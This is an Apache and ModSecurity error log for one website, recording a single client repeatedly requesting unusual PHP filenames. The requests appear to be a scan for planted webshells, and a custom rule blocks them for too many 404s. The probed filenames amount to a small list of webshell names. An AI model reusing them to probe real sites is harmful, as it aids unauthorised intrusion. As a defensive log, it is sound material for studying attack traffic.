[Fri Apr 24 08:07:30.709934 2026] [:error] [pid 19100:tid 19116] [client 158.158.109.204:41472] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aeq0QrF_hzQs4CqbifdKNAAAAAc"]
[Fri Apr 24 08:07:32.768513 2026] [:error] [pid 52129:tid 52141] [client 158.158.109.204:39292] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aeq0ROKCZKf8_u2LKiD5wAAAAQg"]
[Fri Apr 24 08:07:36.670057 2026] [:error] [pid 52129:tid 52135] [client 158.158.109.204:65252] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/as.php"] [unique_id "aeq0SOKCZKf8_u2LKiD52AAAAQI"]
[Fri Apr 24 08:07:38.422796 2026] [:error] [pid 19101:tid 19141] [client 158.158.109.204:49718] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeq0SmAHj9bEvrTgbO0TrAAAAEQ"]
[Fri Apr 24 08:07:40.191414 2026] [:error] [pid 19100:tid 19134] [client 158.158.109.204:65231] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeq0TLF_hzQs4CqbifdKRgAAABg"]
[Fri Apr 24 08:07:41.724128 2026] [:error] [pid 19101:tid 19160] [client 158.158.109.204:60927] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeq0TWAHj9bEvrTgbO0TugAAAFc"]
[Fri Apr 24 08:07:44.622833 2026] [:error] [pid 19200:tid 19211] [client 158.158.109.204:49872] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/ctex1.php"] [unique_id "aeq0UDQ--M3-tsKAnhEIBQAAAMM"]
[Fri Apr 24 08:07:47.458903 2026] [proxy_fcgi:error] [pid 19102:tid 19179] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:47.704459 2026] [proxy_fcgi:error] [pid 19102:tid 19186] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:47.949441 2026] [proxy_fcgi:error] [pid 19102:tid 19176] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:48.195113 2026] [proxy_fcgi:error] [pid 19102:tid 19187] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:48.444596 2026] [proxy_fcgi:error] [pid 19102:tid 19180] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:48.687284 2026] [proxy_fcgi:error] [pid 19102:tid 19172] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:48.932910 2026] [proxy_fcgi:error] [pid 19102:tid 19177] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:49.177113 2026] [proxy_fcgi:error] [pid 19102:tid 19169] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:49.420803 2026] [proxy_fcgi:error] [pid 19102:tid 19173] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:49.663273 2026] [proxy_fcgi:error] [pid 19102:tid 19188] [client 158.158.109.204:46814] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:07:50.148402 2026] [:error] [pid 19102:tid 19170] [client 158.158.109.204:46814] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeq0VgDSgrbLEZbkqD4bKQAAAIY"]
[Fri Apr 24 08:07:52.578649 2026] [:error] [pid 19102:tid 19170] [client 158.158.109.204:59183] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeq0WADSgrbLEZbkqD4bPAAAAIY"]
[Fri Apr 24 08:07:54.116030 2026] [:error] [pid 19200:tid 19213] [client 158.158.109.204:7051] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeq0WjQ--M3-tsKAnhEISQAAAMU"]
[Fri Apr 24 08:07:55.788364 2026] [:error] [pid 19200:tid 19218] [client 158.158.109.204:54160] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/bfil.php"] [unique_id "aeq0WzQ--M3-tsKAnhEIaQAAAMo"]
[Fri Apr 24 08:07:56.684726 2026] [:error] [pid 19100:tid 19111] [client 158.158.109.204:62145] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeq0XLF_hzQs4CqbifdKgQAAAAI"]
[Fri Apr 24 08:07:59.790318 2026] [:error] [pid 52129:tid 52153] [client 158.158.109.204:65304] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeq0X-KCZKf8_u2LKiD6ZQAAARQ"]
[Fri Apr 24 08:08:02.268109 2026] [:error] [pid 52129:tid 52135] [client 158.158.109.204:6992] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeq0YuKCZKf8_u2LKiD6eAAAAQI"]
[Fri Apr 24 08:08:04.017352 2026] [:error] [pid 19100:tid 19132] [client 158.158.109.204:43111] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/abrand.php"] [unique_id "aeq0ZLF_hzQs4CqbifdKjwAAABY"]
[Fri Apr 24 08:08:05.535211 2026] [:error] [pid 52129:tid 52143] [client 158.158.109.204:6811] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeq0ZeKCZKf8_u2LKiD6jwAAAQo"]
[Fri Apr 24 08:08:06.752498 2026] [:error] [pid 19200:tid 19229] [client 158.158.109.204:6817] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeq0ZjQ--M3-tsKAnhEIdwAAANU"]
[Fri Apr 24 08:08:08.617985 2026] [:error] [pid 19200:tid 19218] [client 158.158.109.204:49933] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeq0aDQ--M3-tsKAnhEIewAAAMo"]
[Fri Apr 24 08:08:09.920794 2026] [:error] [pid 52129:tid 52157] [client 158.158.109.204:6790] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amax.php"] [unique_id "aeq0aeKCZKf8_u2LKiD6twAAARg"]
[Fri Apr 24 08:08:12.338920 2026] [:error] [pid 19102:tid 19178] [client 158.158.109.204:52043] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeq0bADSgrbLEZbkqD4beAAAAI4"]
[Fri Apr 24 08:08:14.489825 2026] [:error] [pid 19101:tid 19145] [client 158.158.109.204:48979] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeq0bmAHj9bEvrTgbO0UDAAAAEg"]
[Fri Apr 24 08:08:16.170285 2026] [:error] [pid 52129:tid 52148] [client 158.158.109.204:48637] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeq0cOKCZKf8_u2LKiD64gAAAQ8"]
[Fri Apr 24 08:08:17.525232 2026] [:error] [pid 19100:tid 19126] [client 158.158.109.204:49658] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/classwithtostring.php"] [unique_id "aeq0cbF_hzQs4CqbifdKuwAAABA"]
[Fri Apr 24 08:08:21.122731 2026] [:error] [pid 52129:tid 52140] [client 158.158.109.204:47622] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeq0deKCZKf8_u2LKiD7GwAAAQc"]
[Fri Apr 24 08:08:26.188119 2026] [:error] [pid 52129:tid 52151] [client 158.158.109.204:50462] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeq0euKCZKf8_u2LKiD7SgAAARI"]
[Fri Apr 24 08:08:29.800418 2026] [:error] [pid 19102:tid 19176] [client 158.158.109.204:48999] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeq0fQDSgrbLEZbkqD4brwAAAIw"]
[Fri Apr 24 08:08:30.886377 2026] [:error] [pid 19100:tid 19115] [client 158.158.109.204:51153] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/amwxl.php"] [unique_id "aeq0frF_hzQs4CqbifdK3AAAAAY"]
[Fri Apr 24 08:08:34.099719 2026] [:error] [pid 52129:tid 52141] [client 158.158.109.204:50149] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeq0guKCZKf8_u2LKiD7oQAAAQg"]
[Fri Apr 24 08:08:35.916101 2026] [:error] [pid 19101:tid 19141] [client 158.158.109.204:50463] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeq0g2AHj9bEvrTgbO0USQAAAEQ"]
[Fri Apr 24 08:08:38.480047 2026] [:error] [pid 19102:tid 19187] [client 158.158.109.204:39205] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeq0hgDSgrbLEZbkqD4b0AAAAJc"]
[Fri Apr 24 08:08:41.933168 2026] [:error] [pid 19102:tid 19177] [client 158.158.109.204:56257] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wmore1.php"] [unique_id "aeq0iQDSgrbLEZbkqD4b2gAAAI0"]
[Fri Apr 24 08:08:44.037646 2026] [:error] [pid 19102:tid 19172] [client 158.158.109.204:51199] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/userfuns.php"] [unique_id "aeq0jADSgrbLEZbkqD4b5gAAAIg"]
[Fri Apr 24 08:08:50.051049 2026] [proxy_fcgi:error] [pid 19100:tid 19115] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:50.293806 2026] [proxy_fcgi:error] [pid 19100:tid 19113] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:50.548194 2026] [proxy_fcgi:error] [pid 19100:tid 19118] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:50.791456 2026] [proxy_fcgi:error] [pid 19100:tid 19130] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:51.038862 2026] [proxy_fcgi:error] [pid 19100:tid 19122] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:52.656864 2026] [proxy_fcgi:error] [pid 19100:tid 19120] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:52.899656 2026] [proxy_fcgi:error] [pid 19100:tid 19116] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:54.641086 2026] [proxy_fcgi:error] [pid 19100:tid 19132] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:54.883553 2026] [proxy_fcgi:error] [pid 19100:tid 19112] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:55.125386 2026] [proxy_fcgi:error] [pid 19100:tid 19109] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:55.371090 2026] [proxy_fcgi:error] [pid 19100:tid 19121] [client 158.158.109.204:50473] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:08:55.622344 2026] [:error] [pid 19100:tid 19126] [client 158.158.109.204:50473] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeq0l7F_hzQs4CqbifdLfwAAABA"]
[Fri Apr 24 08:09:00.342183 2026] [:error] [pid 19200:tid 19220] [client 158.158.109.204:47676] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeq0nDQ--M3-tsKAnhEJlgAAAMw"]
[Fri Apr 24 08:09:08.255105 2026] [:error] [pid 19100:tid 19127] [client 158.158.109.204:39204] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/koiy.php"] [unique_id "aeq0pLF_hzQs4CqbifdLtQAAABE"]
[Fri Apr 24 08:09:13.565701 2026] [:error] [pid 19102:tid 19170] [client 158.158.109.204:58645] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albin.php"] [unique_id "aeq0qQDSgrbLEZbkqD4cKAAAAIY"]
[Fri Apr 24 08:09:16.667917 2026] [:error] [pid 19200:tid 19222] [client 158.158.109.204:41972] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albin.php"] [unique_id "aeq0rDQ--M3-tsKAnhEJswAAAM4"]
[Fri Apr 24 08:09:20.955006 2026] [:error] [pid 52129:tid 52156] [client 158.158.109.204:39193] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albin.php"] [unique_id "aeq0sOKCZKf8_u2LKiD8igAAARc"]
[Fri Apr 24 08:09:24.178003 2026] [:error] [pid 19102:tid 19170] [client 158.158.109.204:48136] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/albin.php"] [unique_id "aeq0tADSgrbLEZbkqD4cNgAAAIY"]
[Fri Apr 24 08:09:26.803790 2026] [:error] [pid 19200:tid 19222] [client 158.158.109.204:56259] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeq0tjQ--M3-tsKAnhEJwAAAAM4"]
[Fri Apr 24 08:09:28.788438 2026] [:error] [pid 19100:tid 19118] [client 158.158.109.204:50113] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeq0uLF_hzQs4CqbifdLuwAAAAg"]
[Fri Apr 24 08:09:30.727166 2026] [:error] [pid 52129:tid 52141] [client 158.158.109.204:53579] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeq0uuKCZKf8_u2LKiD8rgAAAQg"]
[Fri Apr 24 08:09:33.570903 2026] [:error] [pid 52129:tid 52137] [client 158.158.109.204:50122] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/wp-the.php"] [unique_id "aeq0veKCZKf8_u2LKiD8tgAAAQQ"]
[Fri Apr 24 08:09:41.376256 2026] [:error] [pid 52129:tid 52141] [client 158.158.109.204:48084] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sa.php7"] [unique_id "aeq0xeKCZKf8_u2LKiD8wwAAAQg"]
[Fri Apr 24 08:09:44.814514 2026] [:error] [pid 52129:tid 52139] [client 158.158.109.204:6751] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/sa.php7"] [unique_id "aeq0yOKCZKf8_u2LKiD8ygAAAQY"]
[Fri Apr 24 08:09:53.161597 2026] [:error] [pid 19200:tid 19212] [client 158.158.109.204:6458] [client 158.158.109.204] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.agraphics.com.au"] [uri "/a7.php"] [unique_id "aeq00TQ--M3-tsKAnhEJ4wAAAMQ"]
[Fri Apr 24 08:09:57.960106 2026] [proxy_fcgi:error] [pid 19101:tid 19140] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:58.203970 2026] [proxy_fcgi:error] [pid 19101:tid 19148] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:58.448799 2026] [proxy_fcgi:error] [pid 19101:tid 19141] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:58.691732 2026] [proxy_fcgi:error] [pid 19101:tid 19158] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:58.942146 2026] [proxy_fcgi:error] [pid 19101:tid 19145] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:59.186955 2026] [proxy_fcgi:error] [pid 19101:tid 19154] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:59.430729 2026] [proxy_fcgi:error] [pid 19101:tid 19143] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:59.690362 2026] [proxy_fcgi:error] [pid 19101:tid 19137] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:09:59.954525 2026] [proxy_fcgi:error] [pid 19101:tid 19147] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:10:00.443429 2026] [proxy_fcgi:error] [pid 19101:tid 19152] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
[Fri Apr 24 08:10:00.686364 2026] [proxy_fcgi:error] [pid 19101:tid 19157] [client 158.158.109.204:59683] AH01071: Got error 'Primary script unknown'
